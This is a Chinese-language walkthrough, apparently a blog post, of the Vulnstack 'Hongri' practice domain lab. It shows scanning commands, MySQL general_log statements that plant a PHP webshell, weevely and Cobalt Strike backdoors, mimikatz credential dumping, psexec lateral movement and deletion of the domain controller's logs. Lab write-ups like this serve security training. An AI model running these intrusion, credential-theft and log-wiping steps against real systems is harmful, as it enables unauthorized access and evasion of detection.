一、环境搭建
1、安装vmx文件
这里这三台在虚拟机中打开即可,vmx文件,会自动打开Vmware,初始的密码都是:hongrisec@2019,我登陆时有的机器会提示我密码过期,更改密码即可。
2、win7添加网卡
拓扑图我们得知,win7是一个边界服务器,所以是需要有两个网卡的,首先给win7添加一个网卡
3、ip配置
我们添加一个网络适配器然后网络模式为仅主机模式,这里网络适配器1为Vmnet1(仅主机模式)、网络适配器2是nat模式,这里win2008网络适配器改成Vmnet1(仅主机模式)即可 然后我们看一下各个靶机的ip地址
这里我们配置的网络
|Windows7x64 (web服务器) |内部网络:192.168.52.143 外部网络:192.168.66.138|
|Windwos Server 2008(域控) |内部网络:192.168.52.138 |
|Windows2k3(域成员) |内部网络:192.168.52.141 |
4、测试环境
这里只有windows7可以访问外网,而另两个内网机器无法访问外网
二、外网打点
1、信息收集
Ⅰ、web服务器探测(主机探测)
这里我们还是先进行外网打点,首先做一个存活探测
arp-scan -l
netdiscover -i eth0 -r 192.168.33.0/24
nmap -sP 192.168.66.0/24
nmap也可以扫描同网段,因为这里我们的win7服务器和kali是同一网段
这里我们扫描出的win7外网ip为192.168.66.138,我们接下来扫描端口
Ⅱ、端口扫描
nmap -sS -sV 192.168.66.138
nmap -p- -Pn -sC -sV -n 192.168.66.138
whatweb -v 192.168.66.138
这里我们扫描出3个端口,首先就后台跑一下目录,然后我们看看135和3306弱口令或者sql注入,这里漏洞扫描结果我们得到了,mysql似乎是一个匿名访问,我们先看80端口
常规扫描
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
漏洞扫描
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy xE6x8ExA2xE9x92x88 2014
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
Ⅲ、目录扫描
dirsearch -u http://192.168.66.138:80/ -e * -i 200
dirb http://192.168.66.138
这里我们扫描了这些目录,
Ⅳ、80端口访问,寻找注入点
这里爆出一个phpstudy探针,绝对路径C:/phpStudy/WWW,探针路径C:/phpStudy/WWW/l.php,这里有个危险函数(allow_url_fopen),并且开放了mysql,应该是能利用的
这里是失误了,我以为这个靶场不会用弱口令,起码要爆破跑一跑的
这里还是个高权限root用户,我们尝试能不能弹个shell
这台靶机很多地方都能弹shell,先试试上传马
Ⅴ、获取getshell
Ⅰ、日志导出Getshell
这里输入SHOW GLOBAL VARIABLES LIKE 'secure%'来查询是否能写入,这里回显NULL不能写入
show global variables like 'secure%'; #查询secure_file_priv
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
这里查询一下能否使用日志导出getshell
SET GLOBAL general_log='on';
开启日志读写功能,日志读写默认是关闭的
show variables like '%general%';
查看日志信息,查看日志是否开放读写功能
set global general_log_file ='C:phpStudyWWWshell.php' ;
设置日志存储的位置为该路径
show variables like '%general%';
再次查看
这里是我们更改的日志路径
这里默认是关闭读写服务的,我们开启读写功能然后查看日志信息
这里很关键,我们打开了读写功能然后将日志文件存储位置改为可以访问的目录, 开启后将日志文件的存储位置改为可访问到的目录,根目录即可set global general_log_file = 'C:/phpStudy/WWW/shell.php'
执行下边一句话木马 ,数据库将会将查询语句保存在日志文件中 SELECT ''
连接成功,这里我们把一句话木马写进了日志,就是之前设置的shell.php,蚁剑成功连接
这里开了一个yxcms服务,我们访问看看
Ⅱ、weevely生成
weevely generate x ./shell.php 这里我们使用weevely生成一个🐎,然后把其中的内容复制下来,但是因为一些原因我打开的是乱码,可能需要utf-8的格式才能输出这里我就直接放图片了
就是这样的格式
Ⅱ、
Ⅵ、访问yxcms服务
这里给了用户名和密码
这里一个上传点,尝试上传木马,这里是更改这么模板
这里就是根据我们上次连接的蚁剑能找到该路径
至此外网打点结束
二、内网信息收集、内网渗透
1、内网信息收集这里我们连接到的蚁剑发现是个管理员权限
这里我们发现win7有两个网段,可以确定52网段是内网网段
net config Workstation查看当前计算机名称,全名,用户名,以及所在的工作站域等信息;
net localgroup administrators用来查询本地管理员,这里我们发现他是域中的一员
systeminfo,这里查询一下他的信息,确定了这台靶机属于god.org域,并且有4个补丁,域服务器名为OWA 这里我们可以使用msf也可以使用cs,这里演示cs
2、CS 打开CS之后我们生成个🐎传给服务端,进行一个反连
这里我们建立一个监听
这里我们把🐎用蚁剑传到win7中
ok,我们连接到了
3、这里我们使用mimikatz抓一下信息
提权一下shell ipconfig 查询一下ip地址
logonpasswords
抓一下本机账号密码
这里shell net user来看一下该win7服务器有哪些用户
shell net view列出计算机名
这里我们扫描到了我们的域
4、利用跳板机进行端口扫描
扫描一下发现都开放了445端口
我们结合抓取的密码进行一个横向
三、内网横向、拿域控
刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道(Windows上的SMB(Server Message Block)协议是一种网络文件共享协议,它允许用户在网络上的计算机之间访问文件和打印机等资源。)
1、新建监听 我们新建一个smb监听
然后我们对扫描出来的靶机进行psexec横向 配置如下
先把域控的日志都删除了
至此我们拿下了所有域控
总结
第一次打域控,感觉还行,断断续续的看wp做了8个小时左右吧,摸索出来了熟悉大概流程,个人感觉还可以,而且域控能学的东西太多太多了,mimikatz、cs使用,各种各样的工具,不过说实话,域控更像是工具的配合,这台靶机最狗的是他会让你更改密码,但是最后横向的时候更改的密码就是你横向要用的,如果不理解的话常规看wp是一定会报错的,还是自己多多了解,而且域控靶机有很多方式,之后有机会更新其他方式的域控,不过最近我练习手测,打好基础还是有必要的自动化软件也可以现学的,思路很重要。ok现在是凌晨1:01,顶不住了,休息了zzz
原文始发于微信公众号(泷羽Sec-朝阳):Vulnstack 红日安全内网靶场(一)外网打点,内网渗透、横向、提权,mimikatz、CS,一台非常不错的靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论